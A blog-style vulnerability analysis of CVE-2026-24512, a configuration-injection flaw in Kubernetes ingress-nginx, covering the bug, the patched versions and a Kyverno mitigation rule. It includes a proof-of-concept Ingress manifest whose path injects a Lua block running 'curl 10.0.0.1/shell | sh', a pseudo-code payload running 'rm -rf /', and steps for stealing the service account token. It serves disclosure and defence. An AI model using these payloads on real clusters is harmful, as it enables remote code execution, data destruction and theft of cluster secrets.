CVE-2026-24512

The Open Door: Smuggling Lua into Kubernetes Ingress-Nginx

Alon Barad
Alon Barad
Software Engineer

Feb 5, 2026·6 min read·4 visits

Executive Summary (TL;DR)

CVE-2026-24512 allows attackers to inject Nginx configuration directives via the `path` field in Kubernetes Ingress resources. This leads to RCE via Lua injection and potential cluster-wide compromise. Patched in v1.13.7 and v1.14.3.

A critical configuration injection vulnerability exists in the Kubernetes ingress-nginx controller, the de facto standard for ingress traffic management in K8s clusters. Due to insufficient sanitization of the `rules.http.paths.path` field when using the `ImplementationSpecific` path type, attackers with permissions to create or update Ingress resources can inject arbitrary Nginx directives. This effectively turns a standard routing rule into a remote code execution (RCE) vector, granting full control over the ingress controller and, by extension, access to all secrets in the cluster.

The Hook: The Templating Engine from Hell

If you've ever looked under the hood of the Kubernetes ingress-nginx controller, you might have recoiled in horror. It is, essentially, a massive Go program that listens to the Kubernetes API, takes your nice, structured YAML, and mashes it through a series of Go templates to spit out a monolithic nginx.conf file. It's a transpiler, and like all transpilers that accept user input, it lives on the edge of disaster.

Usually, this system works because the controller validates input rigidly. It checks for valid regex, valid path structures, and standard Nginx syntax. But developers love flexibility. They asked for a way to define paths that didn't fit the standard mold—custom regex, specific matching logic, the works. Enter pathType: ImplementationSpecific.

This setting is effectively a "trust me, bro" flag. It tells the controller, "I know what I'm doing, just pass this string along." And for a long time, the controller listened. It took the string provided in the path field and dropped it right into the location block of the generated configuration. As it turns out, trusting user input to generate config files for a service running as a high-privileged network gateway is a terrible idea.

The Flaw: Closing the Door to Open a Window

The vulnerability lies in how nginx.tmpl handles the path string when the type is ImplementationSpecific. In a standard Nginx configuration, a location block looks like this:

location /some-path {
    proxy_pass http://upstream;
}

The controller constructs this by taking the path you provide in your YAML and interpolating it into the location directive line. The fatal flaw here is a lack of sanitation for block delimiters. The controller assumed the path would be a URL path. It did not anticipate that the path might be a string like /oops { } location /evil.

By injecting a closing brace }, an attacker can prematurely terminate the location block defined by the controller. Once outside that block, they are free to start a new block or inject directives that are valid in the server context (or the enclosing context). However, the most devastating attack actually happens inside the block before closing it, or by manipulating the logic to inject Lua code. The controller failed to scrub characters that have semantic meaning in Nginx configuration files—specifically curly braces and semicolons.

The Code: Anatomy of an Injection

Let's look at what's happening in the template generation. Simplified, the Go code processing the ingress object looks something like this when generating the Nginx config:

// Pseudo-code representation of the vulnerability
func writeLocation(path string) {
    configFile.write("location " + path + " { ... }")
}

If I submit an Ingress resource with path: "/foo { access_by_lua_block { os.execute('rm -rf /') } }", the resulting config file becomes:

location /foo { access_by_lua_block { os.execute('rm -rf /') } } { 
    # The controller's original logic continues here, likely causing a syntax error
    # unless the attacker balances the braces perfectly.
}

Wait, syntax errors are good, right? Nginx will fail to reload? Usually, yes. But a skilled attacker will craft the injection such that the configuration remains syntactically valid. They balance the braces so that the controller's appended opening brace { matches a closing brace they inject at the end, or they comment out the remainder of the line if possible (though Nginx config comments are tricky in this context).

The fix implemented in versions v1.13.7 and v1.14.3 involves strict validation. The patch introduces a check that rejects the Ingress object entirely if the path contains dangerous characters like \n, {, }, or ; when ImplementationSpecific is used. It's a classic allow-list vs. block-list scenario, and in this case, they opted to ban the control characters that make the exploit possible.

The Exploit: Weaponizing Lua

To exploit this, we don't need fancy memory corruption or heap grooming. We just need to know Nginx configuration syntax. The goal is to achieve Remote Code Execution (RCE). The easiest way to get RCE in Nginx is via the lua-nginx-module, which is enabled by default in the official Kubernetes ingress-nginx images.

Here is the attack chain:

  1. Access: We need create or update permissions on Ingress resources in any namespace. This is a common permission for developers in multi-tenant clusters.
  2. Payload Construction: We create an Ingress resource using pathType: ImplementationSpecific.
  3. Injection: We inject an access_by_lua_block directive. This directive executes Lua code during the access phase of every request matching the location.
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: cve-2026-24512-poc
  namespace: default
spec:
  ingressClassName: nginx
  rules:
  - http:
      paths:
      - pathType: ImplementationSpecific
        # The injection:
        path: "/pwn { access_by_lua_block { os.execute('curl 10.0.0.1/shell | sh') } } location /unused"
        backend:
          service:
            name: valid-service
            port:
              number: 80

When the ingress controller processes this, it updates nginx.conf and reloads Nginx. The next time anyone requests http://<ingress-ip>/pwn, the Lua block triggers os.execute, spawning a shell back to the attacker. You now have a shell inside the ingress controller pod.

The Impact: Why This is a Disaster

You might be thinking, "Okay, I have a shell in the ingress controller. So what? It's just a proxy." This is a fatal misunderstanding of Kubernetes architecture.

To function, the Ingress Controller needs to terminate TLS for all domains in the cluster. This means it needs access to the TLS certificates stored in Kubernetes Secrets. Consequently, the ServiceAccount associated with the ingress-nginx pod usually has a ClusterRole binding that grants it get, list, and watch permissions on Secrets across all namespaces.

> [!CAUTION] > The Service Account Token is the Crown Jewel.

Once an attacker has RCE in the ingress pod, they simply read the service account token from /var/run/secrets/kubernetes.io/serviceaccount/token. With this token, they can query the API server and dump every secret in the cluster: database passwords, API keys, CI/CD credentials, and private keys. It is a total cluster compromise. This vulnerability turns a low-privilege developer (who can only edit Ingress) into a Cluster Admin.

The Fix: Shutting the Door

The remediation is straightforward but urgent. You must upgrade your ingress-nginx controller images. The maintainers have released patched versions v1.13.7 and v1.14.3. These versions implement strict input validation for the path field.

If you cannot upgrade immediately, you must implement an admission controller policy (using OPA Gatekeeper or Kyverno). You need a policy that blocks any Ingress resource where spec.rules[].http.paths[].pathType is ImplementationSpecific OR where the path string contains {, }, or ;.

Example Kyverno Policy Snippet:

validate:
  message: "Potential Config Injection Detected"
  pattern:
    spec:
      rules:
      - http:
          paths:
          - path: "*[*;{}]*"

Don't wait for the patch window. If you have multi-tenant clusters where users can define Ingress resources, you are currently exposed.

Technical Appendix

CVSS Score
8.8/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
0.10%
Top 73% most exploited

Affected Systems

Kubernetes Clusters using ingress-nginxAzure Kubernetes Service (AKS) (if managing own ingress)Google Kubernetes Engine (GKE) (if managing own ingress)Amazon EKS (if managing own ingress)

Affected Versions Detail

Product
Affected Versions
Fixed Version
ingress-nginx
Kubernetes
< 1.13.71.13.7
ingress-nginx
Kubernetes
v1.14.0 - v1.14.21.14.3
AttributeDetail
CWE IDCWE-20 (Improper Input Validation)
CVSS v3.18.8 (High)
Attack VectorNetwork (Authenticated K8s API)
ImpactRemote Code Execution (RCE) / Secret Disclosure
EPSS Score0.00095 (Low Probability of Mass Exploit)
KEV StatusNot Listed
CWE-20
Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Vulnerability Timeline

Vulnerability publicly disclosed by Tabitha Sable.
2026-02-02
CVE-2026-24512 assigned and published.
2026-02-03
Patches available in v1.13.7 and v1.14.3.
2026-02-04

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.